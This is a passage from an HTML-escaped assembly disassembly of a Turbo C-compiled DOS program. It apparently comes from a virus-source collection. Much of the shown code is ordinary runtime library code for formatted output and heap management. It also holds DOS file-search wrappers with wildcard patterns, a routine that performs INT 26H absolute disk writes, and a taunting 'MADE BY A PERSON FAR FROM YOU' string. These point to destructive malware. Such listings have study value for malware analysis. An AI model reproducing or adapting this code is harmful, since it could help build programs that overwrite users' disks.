if not equal&lt;br /&gt;        CMP    WORD PTR SS:DATA_133E[BP],0    ; (817F:FF76=0)&lt;br /&gt;        JG    LOC_224            ; Jump if &gt;&lt;br /&gt;        MOV    WORD PTR SS:DATA_133E[BP],1    ; (817F:FF76=0)&lt;br /&gt;LOC_224:&lt;br /&gt;        JMP    SHORT LOC_227        ; (12E1)&lt;br /&gt;        DB    90H&lt;br /&gt;LOC_225:&lt;br /&gt;        CMP    AH,78H            ; 'x'&lt;br /&gt;        JE    LOC_226            ; Jump if equal&lt;br /&gt;        CMP    AH,58H            ; 'X'&lt;br /&gt;        JNE    LOC_227            ; Jump if not equal&lt;br /&gt;LOC_226:&lt;br /&gt;        OR    WORD PTR SS:DATA_126E[BP],40H    ; (817F:FF6A=0)&lt;br /&gt;        DEC    BX&lt;br /&gt;        DEC    BX&lt;br /&gt;        SUB    WORD PTR SS:DATA_133E[BP],2    ; (817F:FF76=0)&lt;br /&gt;        JGE    LOC_227            ; Jump if &gt; or =&lt;br /&gt;        MOV    WORD PTR SS:DATA_133E[BP],0    ; (817F:FF76=0)&lt;br /&gt;LOC_227:&lt;br /&gt;        ADD    CX,SS:DATA_133E[BP]    ; (817F:FF76=0)&lt;br /&gt;        TEST    WORD PTR SS:DATA_126E[BP],2    ; (817F:FF6A=0)&lt;br /&gt;        JNZ    LOC_230            ; Jump if not zero&lt;br /&gt;        JMP    SHORT LOC_229        ; (12F5)&lt;br /&gt;LOC_228:&lt;br /&gt;        MOV    AL,20H            ; ' '&lt;br /&gt;        CALL    SUB_41            ; (0ED5)&lt;br /&gt;        DEC    BX&lt;br /&gt;LOC_229:&lt;br /&gt;        CMP    BX,CX&lt;br /&gt;        JG    LOC_228            ; Jump if &gt;&lt;br /&gt;LOC_230:&lt;br /&gt;        TEST    WORD PTR SS:DATA_126E[BP],40H    ; (817F:FF6A=0)&lt;br /&gt;        JZ    LOC_231            ; Jump if zero&lt;br /&gt;        MOV    AL,30H            ; '0'&lt;br /&gt;        CALL    SUB_41            ; (0ED5)&lt;br /&gt;        MOV    AL,SS:DATA_128E[BP]    ; (817F:FF6E=0)&lt;br /&gt;        CALL    SUB_41            ; (0ED5)&lt;br /&gt;LOC_231:&lt;br /&gt;        MOV    DX,SS:DATA_133E[BP]    ; (817F:FF76=0)&lt;br /&gt;        OR    DX,DX            ; Zero ?&lt;br /&gt;        JLE    LOC_236            ; Jump if &lt; or =&lt;br /&gt;        SUB    CX,DX&lt;br /&gt;        SUB    BX,DX&lt;br /&gt;        MOV    AL,ES:[SI]&lt;br /&gt;        CMP    AL,2DH            ; '-'&lt;br /&gt;        JE    LOC_232            ; Jump if equal&lt;br /&gt;        CMP    AL,20H            ; ' '&lt;br /&gt;        JE    LOC_232            ; Jump if equal&lt;br /&gt;        CMP    AL,2BH            ; '+'&lt;br /&gt;        JNE    LOC_233            ; Jump if not equal&lt;br /&gt;LOC_232:&lt;br /&gt;        LODS    BYTE PTR ES:[SI]    ; String [si] to al&lt;br /&gt;        CALL    SUB_41            ; (0ED5)&lt;br /&gt;        DEC    CX&lt;br /&gt;        DEC    BX&lt;br /&gt;LOC_233:&lt;br /&gt;        XCHG    CX,DX&lt;br /&gt;        JCXZ    LOC_235            ; Jump if cx=0&lt;br /&gt; &lt;br /&gt;LOCLOOP_234:&lt;br /&gt;        MOV    AL,30H            ; '0'&lt;br /&gt;        CALL    SUB_41            ; (0ED5)&lt;br /&gt;        LOOP    LOCLOOP_234        ; Loop if cx &gt; 0&lt;br /&gt; &lt;br /&gt;LOC_235:&lt;br /&gt;        XCHG    CX,DX&lt;br /&gt;LOC_236:&lt;br /&gt;        JCXZ    LOC_239            ; Jump if cx=0&lt;br /&gt;        SUB    BX,CX&lt;br /&gt; &lt;br /&gt;LOCLOOP_237:&lt;br /&gt;        LODS    BYTE PTR ES:[SI]    ; String [si] to al&lt;br /&gt;        MOV    [DI],AL&lt;br /&gt;        INC    DI&lt;br /&gt;        DEC    BYTE PTR [BP-53H]&lt;br /&gt;        JG    LOC_238            ; Jump if &gt;&lt;br /&gt;        CALL    SUB_42            ; (0EDD)&lt;br /&gt;LOC_238:&lt;br /&gt;        LOOP    LOCLOOP_237        ; Loop if cx &gt; 0&lt;br /&gt; &lt;br /&gt;LOC_239:&lt;br /&gt;        OR    BX,BX            ; Zero ?&lt;br /&gt;        JLE    LOC_241            ; Jump if &lt; or =&lt;br /&gt;        MOV    CX,BX&lt;br /&gt; &lt;br /&gt;LOCLOOP_240:&lt;br /&gt;        MOV    AL,20H            ; ' '&lt;br /&gt;        CALL    SUB_41            ; (0ED5)&lt;br /&gt;        LOOP    LOCLOOP_240        ; Loop if cx &gt; 0&lt;br /&gt; &lt;br /&gt;LOC_241:&lt;br /&gt;        JMP    LOC_165            ; (0F0D)&lt;br /&gt;SUB_39        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_242:&lt;br /&gt;        MOV    [BP+6],SI&lt;br /&gt;        MOV    DI,[BP+4]&lt;br /&gt;        TEST    WORD PTR SS:DATA_126E[BP],20H    ; (817F:FF6A=0)&lt;br /&gt;        JNZ    LOC_243            ; Jump if not zero&lt;br /&gt;        MOV    DI,[DI]&lt;br /&gt;        ADD    WORD PTR [BP+4],2&lt;br /&gt;        PUSH    DS&lt;br /&gt;        POP    ES&lt;br /&gt;        JMP    SHORT LOC_244        ; (137D)&lt;br /&gt;LOC_243:&lt;br /&gt;        LES    DI,DWORD PTR [DI]    ; Load 32 bit ptr&lt;br /&gt;        ADD    WORD PTR [BP+4],4&lt;br /&gt;LOC_244:&lt;br /&gt;        MOV    AX,50H&lt;br /&gt;        SUB    AL,[BP-53H]&lt;br /&gt;        ADD    AX,[BP-56H]&lt;br /&gt;        MOV    ES:[DI],AX&lt;br /&gt;        JMP    LOC_164            ; (0F09)&lt;br /&gt; &lt;br /&gt;;ÄÄÄÄÄ Indexed Entry Point ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt; &lt;br /&gt;LOC_245:&lt;br /&gt;        MOV    SI,SS:DATA_134E[BP]    ; (817F:FF78=0)&lt;br /&gt;        MOV    DI,SS:DATA_127E[BP]    ; (817F:FF6C=0)&lt;br /&gt;        MOV    AL,25H            ; '%'&lt;br /&gt;LOC_246:&lt;br /&gt;        CALL    SUB_41            ; (0ED5)&lt;br /&gt;        LODSB                ; String [si] to al&lt;br /&gt;        OR    AL,AL            ; Zero ?&lt;br /&gt;        JNZ    LOC_246            ; Jump if not zero&lt;br /&gt;LOC_247:&lt;br /&gt;        CMP    BYTE PTR [BP-53H],50H    ; 'P'&lt;br /&gt;        JGE    LOC_248            ; Jump if &gt; or =&lt;br /&gt;        CALL    SUB_42            ; (0EDD)&lt;br /&gt;LOC_248:&lt;br /&gt;        POP    ES&lt;br /&gt;        MOV    AX,[BP-56H]&lt;br /&gt;        JMP    SHORT LOC_249        ; (13AD)&lt;br /&gt;LOC_249:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        MOV    SP,BP&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN    8&lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_43        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    SI,[BP+4]&lt;br /&gt;        CMP    WORD PTR DS:DATA_36E,0    ; (7FC4:04A6=8C40H)&lt;br /&gt;        JE    LOC_250            ; Jump if equal&lt;br /&gt;        MOV    BX,DS:DATA_36E        ; (7FC4:04A6=8C40H)&lt;br /&gt;        MOV    DI,[BX+6]&lt;br /&gt;        MOV    BX,DS:DATA_36E        ; (7FC4:04A6=8C40H)&lt;br /&gt;        MOV    [BX+6],SI&lt;br /&gt;        MOV    [DI+4],SI&lt;br /&gt;        MOV    [SI+6],DI&lt;br /&gt;        MOV    AX,DS:DATA_36E        ; (7FC4:04A6=8C40H)&lt;br /&gt;        MOV    [SI+4],AX&lt;br /&gt;        JMP    SHORT LOC_251        ; (13EA)&lt;br /&gt;LOC_250:&lt;br /&gt;        MOV    DS:DATA_36E,SI        ; (7FC4:04A6=8C40H)&lt;br /&gt;        MOV    [SI+4],SI&lt;br /&gt;        MOV    [SI+6],SI&lt;br /&gt;LOC_251:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_43        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_44        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        SUB    SP,2&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    SI,[BP+6]&lt;br /&gt;        MOV    DI,[BP+4]&lt;br /&gt;        MOV    AX,[SI]&lt;br /&gt;        ADD    [DI],AX&lt;br /&gt;        MOV    AX,DS:DATA_35E        ; (7FC4:04A4=0AC26H)&lt;br /&gt;        CMP    AX,SI&lt;br /&gt;        JNE    LOC_252            ; Jump if not equal&lt;br /&gt;        MOV    DS:DATA_35E,DI        ; (7FC4:04A4=0AC26H)&lt;br /&gt;        JMP    SHORT LOC_253        ; (141A)&lt;br /&gt;LOC_252:&lt;br /&gt;        MOV    AX,[SI]&lt;br /&gt;        ADD    AX,SI&lt;br /&gt;        MOV    [BP-2],AX&lt;br /&gt;        MOV    BX,[BP-2]&lt;br /&gt;        MOV    [BX+2],DI&lt;br /&gt;LOC_253:&lt;br /&gt;        PUSH    SI&lt;br /&gt;        CALL    SUB_15            ; (04EB)&lt;br /&gt;        POP    CX&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        MOV    SP,BP&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_44        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_45        PROC    NEAR&lt;br /&gt;        PUSH    SI&lt;br /&gt;        MOV    AX,DS:DATA_37E        ; (7FC4:04A8=87C5H)&lt;br /&gt;        CMP    AX,DS:DATA_35E        ; (7FC4:04A4=0AC26H)&lt;br /&gt;        JNE    LOC_254            ; Jump if not equal&lt;br /&gt;        PUSH    WORD PTR DS:DATA_37E    ; (7FC4:04A8=87C5H)&lt;br /&gt;        CALL    SUB_22            ; (0690)&lt;br /&gt;        POP    CX&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        MOV    DS:DATA_35E,AX        ; (7FC4:04A4=0AC26H)&lt;br /&gt;        MOV    DS:DATA_37E,AX        ; (7FC4:04A8=87C5H)&lt;br /&gt;        JMP    SHORT LOC_258        ; (147C)&lt;br /&gt;LOC_254:&lt;br /&gt;        MOV    BX,DS:DATA_35E        ; (7FC4:04A4=0AC26H)&lt;br /&gt;        MOV    SI,[BX+2]&lt;br /&gt;        TEST    WORD PTR [SI],1&lt;br /&gt;        JNZ    LOC_257            ; Jump if not zero&lt;br /&gt;        PUSH    SI&lt;br /&gt;        CALL    SUB_15            ; (04EB)&lt;br /&gt;        POP    CX&lt;br /&gt;        CMP    SI,DS:DATA_37E        ; (7FC4:04A8=87C5H)&lt;br /&gt;        JNE    LOC_255            ; Jump if not equal&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        MOV    DS:DATA_35E,AX        ; (7FC4:04A4=0AC26H)&lt;br /&gt;        MOV    DS:DATA_37E,AX        ; (7FC4:04A8=87C5H)&lt;br /&gt;        JMP    SHORT LOC_256        ; (1469)&lt;br /&gt;LOC_255:&lt;br /&gt;        MOV    AX,[SI+2]&lt;br /&gt;        MOV    DS:DATA_35E,AX        ; (7FC4:04A4=0AC26H)&lt;br /&gt;LOC_256:&lt;br /&gt;        PUSH    SI&lt;br /&gt;        CALL    SUB_22            ; (0690)&lt;br /&gt;        POP    CX&lt;br /&gt;        JMP    SHORT LOC_258        ; (147C)&lt;br /&gt;LOC_257:&lt;br /&gt;        PUSH    WORD PTR DS:DATA_35E    ; (7FC4:04A4=0AC26H)&lt;br /&gt;        CALL    SUB_22            ; (0690)&lt;br /&gt;        POP    CX&lt;br /&gt;        MOV    DS:DATA_35E,SI        ; (7FC4:04A4=0AC26H)&lt;br /&gt;LOC_258:&lt;br /&gt;        POP    SI&lt;br /&gt;        RETN&lt;br /&gt;SUB_45        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_46        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        SUB    SP,2&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    SI,[BP+4]&lt;br /&gt;        DEC    WORD PTR [SI]&lt;br /&gt;        MOV    AX,[SI]&lt;br /&gt;        ADD    AX,SI&lt;br /&gt;        MOV    [BP-2],AX&lt;br /&gt;        MOV    DI,[SI+2]&lt;br /&gt;        TEST    WORD PTR [DI],1&lt;br /&gt;        JNZ    LOC_259            ; Jump if not zero&lt;br /&gt;        CMP    SI,DS:DATA_37E        ; (7FC4:04A8=87C5H)&lt;br /&gt;        JE    LOC_259            ; Jump if equal&lt;br /&gt;        MOV    AX,[SI]&lt;br /&gt;        ADD    [DI],AX&lt;br /&gt;        MOV    BX,[BP-2]&lt;br /&gt;        MOV    [BX+2],DI&lt;br /&gt;        MOV    SI,DI&lt;br /&gt;        JMP    SHORT LOC_260        ; (14B4)&lt;br /&gt;LOC_259:&lt;br /&gt;        PUSH    SI&lt;br /&gt;        CALL    SUB_43            ; (13B5)&lt;br /&gt;        POP    CX&lt;br /&gt;LOC_260:&lt;br /&gt;        MOV    BX,[BP-2]&lt;br /&gt;        TEST    WORD PTR [BX],1&lt;br /&gt;        JNZ    LOC_261            ; Jump if not zero&lt;br /&gt;        PUSH    WORD PTR [BP-2]&lt;br /&gt;        PUSH    SI&lt;br /&gt;        CALL    SUB_44            ; (13EE)&lt;br /&gt;        POP    CX&lt;br /&gt;        POP    CX&lt;br /&gt;LOC_261:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        MOV    SP,BP&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_46        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_47        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        PUSH    SI&lt;br /&gt;        MOV    SI,[BP+4]&lt;br /&gt;        OR    SI,SI            ; Zero ?&lt;br /&gt;        JNZ    LOC_262            ; Jump if not zero&lt;br /&gt;        JMP    SHORT LOC_264        ; (14F0)&lt;br /&gt;LOC_262:&lt;br /&gt;        MOV    AX,SI&lt;br /&gt;        ADD    AX,0FFFCH&lt;br /&gt;        MOV    SI,AX&lt;br /&gt;        CMP    SI,DS:DATA_35E        ; (7FC4:04A4=0AC26H)&lt;br /&gt;        JNE    LOC_263            ; Jump if not equal&lt;br /&gt;        CALL    SUB_45            ; (1425)&lt;br /&gt;        JMP    SHORT LOC_264        ; (14F0)&lt;br /&gt;LOC_263:&lt;br /&gt;        PUSH    SI&lt;br /&gt;        CALL    SUB_46            ; (147E)&lt;br /&gt;        POP    CX&lt;br /&gt;LOC_264:&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_47        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_48        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        MOV    AX,0DCBH&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    WORD PTR [BP+4]&lt;br /&gt;        PUSH    WORD PTR [BP+6]&lt;br /&gt;        LEA    AX,[BP+8]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_39            ; (0EB4)&lt;br /&gt;        JMP    SHORT LOC_265        ; (1509)&lt;br /&gt;LOC_265:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_48        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_49        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        MOV    AH,1AH&lt;br /&gt;        MOV    DX,[BP+6]&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 1Ah&lt;br /&gt;                        ;  set DTA to ds:dx&lt;br /&gt;        MOV    AH,4EH            ; 'N'&lt;br /&gt;        MOV    CX,[BP+8]&lt;br /&gt;        MOV    DX,[BP+4]&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 4Eh&lt;br /&gt;                        ;  find 1st filenam match @ds:dx&lt;br /&gt;        JC    LOC_266            ; Jump if carry Set&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        JMP    SHORT LOC_267        ; (152B)&lt;br /&gt;LOC_266:&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_10            ; (031F)&lt;br /&gt;        JMP    SHORT LOC_267        ; (152B)&lt;br /&gt;LOC_267:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_49        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_50        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        MOV    AH,1AH&lt;br /&gt;        MOV    DX,[BP+4]&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 1Ah&lt;br /&gt;                        ;  set DTA to ds:dx&lt;br /&gt;        MOV    AH,4FH            ; 'O'&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 4Fh&lt;br /&gt;                        ;  find next filename match&lt;br /&gt;        JC    LOC_268            ; Jump if carry Set&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        JMP    SHORT LOC_269        ; (1547)&lt;br /&gt;LOC_268:&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_10            ; (031F)&lt;br /&gt;        JMP    SHORT LOC_269        ; (1547)&lt;br /&gt;LOC_269:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_50        ENDP&lt;br /&gt; &lt;br /&gt;        DB    55H, 8BH, 0ECH, 0FFH, 76H, 6&lt;br /&gt;        DB    0FFH, 76H, 8, 8BH, 5EH, 4&lt;br /&gt;        DB    0FFH, 37H, 0E8H, 52H, 0F6H, 8BH&lt;br /&gt;        DB    0E5H, 8BH, 46H, 6, 8BH, 5EH&lt;br /&gt;        DB    4, 1, 7, 8BH, 1FH, 0C6H&lt;br /&gt;        DB    7, 0, 33H, 0C0H, 0EBH, 0&lt;br /&gt;        DB    5DH, 0C2H, 6, 0&lt;br /&gt; &lt;br /&gt;ßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;                   SUBROUTINE&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;SUB_51        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        MOV    BX,[BP+4]&lt;br /&gt;        MOV    BYTE PTR [BX],0&lt;br /&gt;        MOV    AX,1549H&lt;br /&gt;        PUSH    AX&lt;br /&gt;        LEA    AX,[BP+4]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    WORD PTR [BP+6]&lt;br /&gt;        LEA    AX,[BP+8]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_39            ; (0EB4)&lt;br /&gt;        JMP    SHORT LOC_270        ; (158E)&lt;br /&gt;LOC_270:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_51        ENDP&lt;br /&gt; &lt;br /&gt;        DB    55H, 8BH, 0ECH, 8BH, 5EH, 4&lt;br /&gt;        DB    0C6H, 7, 0, 0B8H, 49H, 15H&lt;br /&gt;        DB    50H, 8DH, 46H, 4, 50H, 0FFH&lt;br /&gt;        DB    76H, 6, 0FFH, 76H, 8, 0E8H&lt;br /&gt;        DB    0AH, 0F9H, 0EBH, 0, 5DH, 0C3H&lt;br /&gt;        DB    55H, 8BH, 0ECH, 56H, 57H, 8AH&lt;br /&gt;        DB    46H, 4, 8BH, 4EH, 6, 8BH&lt;br /&gt;        DB    56H, 8, 8BH, 5EH, 0AH, 0CDH&lt;br /&gt;        DB    25H, 5BH, 72H, 4, 33H, 0C0H&lt;br /&gt;        DB    0EBH, 8, 0A3H, 94H, 0, 0B8H&lt;br /&gt;        DB    0FFH, 0FFH, 0EBH, 0&lt;br /&gt;LOC_271:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_52        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    AL,[BP+4]&lt;br /&gt;        MOV    CX,[BP+6]&lt;br /&gt;        MOV    DX,[BP+8]&lt;br /&gt;        MOV    BX,[BP+0AH]&lt;br /&gt;        INT    26H            ; Absolute disk write, drive al&lt;br /&gt;        POP    BX&lt;br /&gt;        JC    LOC_272            ; Jump if carry Set&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        JMP    SHORT LOC_273        ; (15F6)&lt;br /&gt;LOC_272:&lt;br /&gt;        MOV    DATA_78,AX        ; (8134:0094=0)&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    SHORT LOC_273        ; (15F6)&lt;br /&gt;LOC_273:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_52        ENDP&lt;br /&gt; &lt;br /&gt;        DB    0, 0, 0, 0, 0, 0&lt;br /&gt; &lt;br /&gt;SEG_A        ENDS&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;--------------------------------------------------------------    SEG_B  ----&lt;br /&gt; &lt;br /&gt;SEG_B        SEGMENT    PARA PUBLIC&lt;br /&gt;        ASSUME CS:SEG_B , DS:SEG_B , SS:STACK_SEG_C&lt;br /&gt; &lt;br /&gt;        DB    0, 0, 0, 0&lt;br /&gt;        DB    'Turbo-C - Copyright (c) 1988 Bor'&lt;br /&gt;        DB    'land Intl.'&lt;br /&gt;        DB    0&lt;br /&gt;        DB    'Null pointer assignment', 0DH, 0AH&lt;br /&gt;        DB    'Divide error', 0DH, 0AH, 'Abnorm'&lt;br /&gt;        DB    'al program termination', 0DH, 0AH&lt;br /&gt;DATA_65        DW    0&lt;br /&gt;DATA_66        DW    0&lt;br /&gt;DATA_67        DW    0&lt;br /&gt;DATA_68        DW    0&lt;br /&gt;DATA_69        DW    0&lt;br /&gt;DATA_70        DW    0&lt;br /&gt;DATA_71        DW    0&lt;br /&gt;DATA_72        DW    0&lt;br /&gt;        DB    0, 0, 0, 0, 0, 0&lt;br /&gt;DATA_73        DD    00000H&lt;br /&gt;DATA_75        DW    0&lt;br /&gt;DATA_76        DW    0&lt;br /&gt;DATA_77        DW    0&lt;br /&gt;DATA_78        DW    0&lt;br /&gt;DATA_79        DW    0&lt;br /&gt;        DB    0, 0, 0, 0, 0AAH, 4&lt;br /&gt;DATA_80        DW    4AAH&lt;br /&gt;        DB    0AAH, 4, 0&lt;br /&gt;        DB    0&lt;br /&gt;DATA_82        DW    0&lt;br /&gt;        DB    0, 0&lt;br /&gt;DATA_83        DW    0&lt;br /&gt;        DB    0, 0&lt;br /&gt;DATA_84        DW    0&lt;br /&gt;        DB    231 DUP (0)&lt;br /&gt;        DB    25H, 73H, 5CH, 25H, 73H, 0&lt;br /&gt;        DB    2AH, 2EH, 2AH, 0, 5CH, 2AH&lt;br /&gt;        DB    2EH, 2AH, 0&lt;br /&gt;        DB    'THIS PROGRAM WAS MADE BY A PERSO'&lt;br /&gt;        DB    'N FAR FROM YOU!!'&lt;br /&gt;        DB    0, 0, 0, 0, 0, 13H&lt;br /&gt;        DB    2, 2, 4, 5, 6, 8&lt;br /&gt;        DB    8, 8, 14H, 15H, 5, 13H&lt;br /&gt;        DB    